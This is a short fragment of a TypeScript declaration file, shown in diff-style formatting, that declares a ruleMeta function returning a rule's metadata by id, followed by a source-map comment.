/** Look up one rule's meta (undefined for an unknown id). */
|
|
81
|
+
export declare function ruleMeta(id: string): RuleMeta | undefined;
|
|
82
|
+
//# sourceMappingURL=rule-meta.d.ts.map
|